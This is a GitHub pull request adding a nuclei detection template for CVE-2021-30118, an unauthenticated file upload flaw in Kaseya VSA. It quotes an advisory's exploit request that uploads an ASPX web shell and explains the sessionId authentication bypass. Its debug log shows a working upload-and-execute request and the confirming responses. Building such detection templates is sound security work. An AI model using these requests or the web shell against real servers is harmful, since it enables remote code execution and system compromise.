Skip to content

Conversation

@daffainfo
Copy link
Contributor

Template / PR Information

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

Template Validation

I've validated this template locally?

  • YES
  • NO

Debug


                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10

                projectdiscovery.io

[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.3.0 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 124
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] [CVE-2021-30118] Dumped HTTP request for https://REDACTED/SystemTab/uploader.aspx?Filename=LpyGiSCP.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=LpyGiSCP.aspx

POST /SystemTab/uploader.aspx?Filename=LpyGiSCP.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=LpyGiSCP.aspx HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Connection: close
Content-Length: 480
Cookie: sessionId=18682555; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219
Accept-Encoding: gzip

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.IO" %>

<script runat="server">
void Page_Load() {
    byte[] bytes = Encoding.UTF8.GetBytes("999999999");
    byte[] hash = MD5.Create().ComputeHash(bytes);
    Response.Write(BitConverter.ToString(hash).Replace("-", "").ToLower());

    File.Delete(Server.MapPath(Request.ServerVariables["SCRIPT_NAME"]));
}
</script>
[DBG] [CVE-2021-30118] Dumped HTTP response https://REDACTED/SystemTab/uploader.aspx?Filename=LpyGiSCP.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=LpyGiSCP.aspx

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Sat, 11 Oct 2025 05:04:41 GMT
Server: Microsoft-IIS/8.5
Set-Cookie: ASP.NET_SessionId=acyiytyqinp2aphzp540iqxo; path=/; HttpOnly
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET

{ "success": "true" }
[INF] [CVE-2021-30118] Dumped HTTP request for https://REDACTED/LpyGiSCP.aspx

GET /LpyGiSCP.aspx HTTP/1.1
Host: REDACTED
Cookie: sessionId=18682555

[DBG] [CVE-2021-30118] Dumped HTTP response https://REDACTED/LpyGiSCP.aspx

HTTP/1.1 200 OK
Content-Length: 32
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Sat, 11 Oct 2025 05:04:43 GMT
Server: Microsoft-IIS/8.5
Set-Cookie: ASP.NET_SessionId=hgn5it0r0axyltek0wdtxqb2wt8FlB8vmRD05jcH01SkaIs91ZU=; path=/; HttpOnly
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

c8c605999f3d8352d7bb792cf3fdb25b
[CVE-2021-30118:word-1] [http] [critical] https://REDACTED/LpyGiSCP.aspx
[CVE-2021-30118:status-2] [http] [critical] https://REDACTED/LpyGiSCP.aspx
[INF] Scan completed in 2.320573s. 2 matches found.

@daffainfo
Copy link
Contributor Author

Note: I'm using unsafe: true because I don't want to set the ASP.NET_SessionId cookie on the second request. I already tried cookie-reuse: false, but Nuclei keeps appending ASP.NET_SessionId cookies

@Akokonunes
Copy link
Contributor

Hello @daffainfo ,

Thank you so much for sharing this template with the community and contributing to the project. We'll be reviewing this PR shortly.

@Akokonunes Akokonunes added the Done Ready to merge label Oct 11, 2025
Updated the CVE-2021-30118 entry with enhanced details on the vulnerability, impact, and remediation steps.
@pussycat0x pussycat0x merged commit 1d95c67 into projectdiscovery:main Oct 11, 2025
3 checks passed
@algora-pbc
Copy link

algora-pbc bot commented Oct 11, 2025

🎉🎈 @daffainfo has been awarded $200 by ProjectDiscovery! 🎈🎊

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants